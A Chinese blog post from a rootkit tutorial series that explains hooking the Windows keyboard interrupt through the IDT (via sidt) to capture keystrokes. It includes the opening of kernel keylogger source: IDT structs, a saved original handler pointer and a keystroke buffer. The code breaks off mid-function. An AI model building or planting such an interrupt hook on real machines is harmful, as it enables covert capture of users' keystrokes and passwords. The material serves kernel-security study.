RootKits——windows内核的安全防护

本文探讨了如何改进键盘控制的方法,避免使用定时器,转而利用中断挂钩技术。通过sidt指令,将键盘事件中断处理程序替换为自定义函数,在中断发生时调用该函数,随后跳转回原始中断处理以完成处理。这种方式提高了键盘控制的效率。
摘要由CSDN通过智能技术生成

上一篇有讲到怎样利用键盘控制芯片的端口去控制键盘,但是仅仅利用定时器来实现键盘的控制是非常浪费时间的。所以我们应该换一种方式,比如说挂钩键盘击键事件的中断。整整个中断的挂钩我们在前面已经分析过了,这里将其和上一篇整合。首先利用sidt指令将键盘击键事件的中断处理事件进行挂钩,将我们的函数放入击键处理函数当中使得中断的时候调用我们的函数。然后跳转到原来的中断处理函数进行真正的中断处理。源代码如下:

#pragma pack(1)

typedef struct
{
	unsigned short LowOffset;
	unsigned short selector;
	unsigned char unused_lo;
	unsigned char segment_type:4;	//0x0E is an interrupt gate
	unsigned char system_segment_flag:1;
	unsigned char DPL:2;	// descriptor privilege level 
	unsigned char P:1; /* present */
	unsigned short HiOffset;
} IDTENTRY;

typedef struct
{
	unsigned short IDTLimit;
	unsigned short LowIDTbase;
	unsigned short HiIDTbase;
} IDTINFO;

#pragma pack()

unsigned long old_ISR_pointer;	// better save the old one!!
unsigned char keystroke_buffer[1024]; //grab 1k keystrokes
int kb_array_ptr=0;

ULONG WaitForKeyboard()
{
	char _t[255];
	int i = 100;	// number of times to loop
	U
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值